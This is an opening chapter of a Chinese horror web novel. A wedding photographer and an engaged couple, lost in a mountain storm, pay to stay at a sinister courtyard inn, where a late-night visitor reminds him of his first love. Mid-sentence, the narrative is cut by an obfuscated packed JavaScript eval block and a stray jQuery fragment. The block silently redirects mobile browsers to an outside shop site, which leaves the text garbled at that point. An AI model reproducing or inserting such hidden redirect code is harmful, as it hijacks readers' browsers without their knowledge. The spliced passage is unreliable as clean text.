酷暑闷热，山里终于下起了暴雨。
黑云压着暑气，与黏腻的雨雾搅在一起，让人感到沉闷。
暮色四合，隆隆的雷声从很远的地方传来，遍布落石和杂草的山谷里似乎有微弱的灯火在闪动。
两男一女冒雨穿过比人还高的纷乱茅草丛，终于找到了那点光源。
此时他们已经精疲力竭。
这是一处位于群山环绕的山谷里的陈旧院落，紧闭的木门外悬挂着两只白纸灯笼，在风雨中不停摇曳，灯笼上歪歪斜斜写着“混沌楼”三个字。
虽然这个院落破败矮小，远远称不上“楼”，但三个年轻人依旧喜悦不已。他们终于在大山里找到落脚之处，骇人的雷雨夜不必露宿荒野了。
敲门没多久，院子里传来一深一浅的脚步声，木门突然“嘎吱”一下从里打开。
门缝仅被拉开了巴掌宽，黑暗里浮现出中年男子惨白、满是沟壑的脸，衬着头顶白纸灯笼的幽光，透出几分莫名的诡异。
“你们是......？”主人皱眉发问。
三人中体型最壮的男子抢先说明来意：“我们在山里迷路了，请问方便在你家借宿一晚吗？”
主人想都没想便说：“不方便。”
三人哑然，随即打扮时尚的年轻女子上前半步，雨水让她精致的刘海揉成一团，像虫子一样弯弯曲曲地贴在前额。
她可怜巴巴地央求道：“大叔，让我们住下吧，求你了！我们在山里已经绕了两个多小时，腿都要断了......你看，天已经黑了，还下着大雨......”
她急得几乎就要落泪，主人却无情地把门合上。
木门紧闭前，三人中一直没开口的黑衣男子突然说：“老板，我们可以支付住宿费。”
在几秒令人窒息的沉默后，门缝再次拉开，从里面伸出一只手，抻着五根苍白干枯的手指，在他们眼前晃了晃。
“住宿五百。”语气干脆。
壮男人和靓女人迅速交换视线，简直难掩喜悦，显然认为价格比想象中合理，于是壮男人连忙点头：“好的，我们付！”
“住宿，”主人突然咧开嘴，似笑非笑地露出一口黄牙，“按人头收费。”
“你——”
靓女人没想到还有这出，不满地翻翻白眼，却被同伴按住。
这时，一道白亮的闪电劈开头顶夜空，遥远的炸雷声刺进耳朵，几乎就要把人类的鼓膜戳穿。雨势越来越大，这里前不着村后不着店，对于城里人来说，走出大山还需要漫长的时间，或许是三个小时，或许是一整夜。
耳畔的雷声明晃晃地在威胁着：你们不住也得住。
壮男人迅速从身后背包里翻出一只黑色钱夹，抽出一沓直接甩给主人：“喏，我们现在就要住下！”
在群山深处，手机没有信号，只能用现金交易。
主人把钱笼在手中，僵硬的脸色有所缓和，他打开木门，一瘸一拐地背过身去。
三人交换眼神，迅速跟着他走进院子。
夜色中，院里的陈设模糊不清，三面是黑压压的土屋，低矮的斜坡屋顶在暗夜里宛如蝙蝠张开的双翼，唯有正前方的主屋里亮着灯，白纸糊的窗户里透出蜡黄色的光。
见气氛有所缓和，壮男人开始尬聊：“大叔，你这院子自称混沌楼，听着怪唬人的，其实不过就是几间土屋子，是不是有点夸张了？”
主人干巴巴地回答：“是是是，你给了钱，你说的都对。”
壮男人自知没趣，便不再说什么。
走在最后那个身板笔直的黑衣男子正好奇地四下环顾着，他暗自想着，大家都不眼瞎，这里确实没有任何能称做“楼”的建筑。
跟在壮男人身边的靓女人问道：“老板，我看你这里房间不少，给我们安排两个宽敞点的房间吧。”
主人站住，苍白的脸幽幽转向他们：“只剩下一间房了。”
***
“什么？他让你在柴房打地铺？这怎么行？我再去和那瘸子说说，明明有这么多屋子，怎么可能只剩一间房让我们住，这不是欺负人吗！”
“算了算了，我们上门打扰本就挺冒昧的，反正就一晚，我在哪儿睡都行。”
“可是，川儿——”
“好了，弛子，赶紧去陪你家龙襄吧。”
“川哥，那就委屈川哥啦！回头等成片出来，我和弛哥请你吃大餐！”
“你们俩早点休息，睡前把房门锁好。”
“嗯，晚安。”
和两个同伴互道晚安后，乔川离开他们位于院落东侧的房间。他刚转身走进院子，就见瘸腿主人手里端着托盘，正站在黑暗的屋檐下无声打量着他。
乔川注意到，主人穿着一身不合时宜的蓝布衫，活像中式恐怖游戏里没安好心的NPC。
见他走近，对方龇着黄牙笑着调侃：“我还以为，你和那个美女才是一对。”
乔川瘦高，长相帅气。他今天穿了一身黑，黑T黑色工装裤，又短又硬的黑发被压在黑色的渔夫帽里，整个人几乎与夜色融为一体。这副帅气冷酷的外表在爱管闲事的人看来，或许和那时尚精致的美女龙襄更为般配，但事实上，龙襄是寇弛的未婚妻。
寇弛正是同行那位身材壮硕、貌似保安却满身名牌logo的男子，他也是乔川的发小。寇弛家境殷实，龙襄样貌出众，二人算是比较常见的富哥美女组合。
乔川则是个小有名气的摄影师，此行是为他们拍摄婚纱照来的。
此刻他并不打算向主人过多解释什么。乔川不喜欢背着朋友们说三道四。
于是他直接问：“请问柴房在哪边？我也打算休息了。”
枯手缓缓一指，乔川循着主人的目光看去，那是位于院落西南角、靠近院门的一处阴暗简陋的小屋。
“柴房里有卷草席，虽然有点旧，但还算干净，你凑合着垫上。”
主人说着向他走来，从托盘里拿起一只白瓷小碗递上：“我给你们煮了姜汤。”
乔川意识到这是主人的一片好意，毕竟他们刚在山里淋了大雨，狼狈得很。
“谢了。”
他接过姜汤，生姜温热辛辣的气味扑面而来，很治愈。
刚把碗口送到嘴边，主人已经向前走去，端着盛有另外两只小碗的托盘走向寇弛和龙襄的房间。乔川看着他一瘸一拐的单薄背影心说：这主人看着奇怪，但心似乎还挺好。
雨水不讲情面地落进手中的姜汤里，乔川只好端着瓷碗快步躲进柴房。
柴房里的情形比想象中更恶劣。地面湿漉漉的，屋顶有好几处在漏雨，木柴的腐朽气味混着霉味弥漫着狭小的空间，最令人不适的是柴房没有任何窗户，关上门后，这里便形成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748979|145415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一个密闭空间。
简单收拾了一下，角落里的姜汤也彻底冷掉。
乔川顿时没了喝下的欲望，他铺好草席坐下，打开相机翻看起白天在山中一处古村落拍摄的照片，照片里的红衣新娘站在古色古香的窗棂下，含情脉脉地望着新郎，这是龙襄心心念念的中式婚纱照，地点也是他们夫妇看攻略千挑万选定下的。总之拍摄顺利，照片的质量也不错。
不一会儿睡意来袭，乔川收好相机，合眼睡下。
***
不知过了多久，在半睡半醒之际，乔川隐约听见耳边传来一阵怪笑。
——嘎嘎嘎嘎嘎嘎！
他警觉地睁开眼，起身大喊：“谁？！”
诡异的笑声立刻消失，只剩下雨水漏进屋子的滴滴答答，外面雨似乎越下越大。
细细回忆，刚才那声音极其诡异，近得就像是有人在他的耳朵里怪笑，而且，那似乎并不是瘸腿主人的声音。
乔川擦掉额头上的汗水，安慰自己大概是因为这一天的紧张忙碌导致做了什么噩梦。
拿出手机，还是没有信号，时间是夜里的22:34。他刚闭上眼，打算继续延续那并不令人舒心的睡眠，屋外不远处却传来了敲门声。
——叩、叩、叩。
不长不短的三下。
有人在敲院门。
过了几分钟，小院西侧的某间屋子里传来轻轻的开门声，紧接着是走进院子的脚步，深一下浅一下，还伴随着木棍撞在地面上硬邦邦的声响。
大概是主人拄着拐杖出来查看了。
睡意全无的乔川下意识竖起耳朵聆听：院门打开，屋外的人似乎说了句什么，奈何雨太大他没听清。
接着主人压低声音：“啧。怎么现在才来？”
语气和先前他们三人借宿时一样不客气。
客人走进，声音清楚了些：“雨太大，在山里迷路了。”
是一个女人的声音。
这声音乍听十分陌生，细想却带着几分悠远的熟悉感——语气温柔，透着小心翼翼，这让乔川的心莫名悬了起来。
“真是的，让那么多人等你一个！”
主人低声不满地唠叨着，随即关上门，两道脚步交错着踏进了院子。
是一个深夜拜访的女人。
而她的声音却萦绕在乔川脑中，惹得他心神不宁。
女人的声音唤醒了沉睡的记忆，让他想起大学时代那位刻骨铭心的初恋。
她叫万嘉，长得很漂亮，性格很温柔。
即便在漏着雨的柴房里再次想起初恋，乔川依旧百感交集。他们感情一直很好，直到毕业前夕乔川听从长辈安排回老家工作，万嘉则留在当地闯荡，二人才因异地被迫分手。回想起来，整个恋爱期间他们都没吵过架，就算分手也只是心平气和地说了再见。
记忆里，万嘉说话时的语气，和今晚深夜拜访的女人有着说不上来的相似。
于是乔川起身，轻轻挪到柴房木门边，透过木门上的缝隙朝院子里看去。
主屋的灯光透出纸窗，在漆黑的院子里投下一片模糊不清的惨白，两道人影在微光里一前一后向主屋的方向走去，前人拄着拐杖走得急促，后面那人撑着伞，倒是跟得不紧不慢。
伞下的女人侧影纤细，步态款款，与乔川记忆里的那道身影重叠在一起。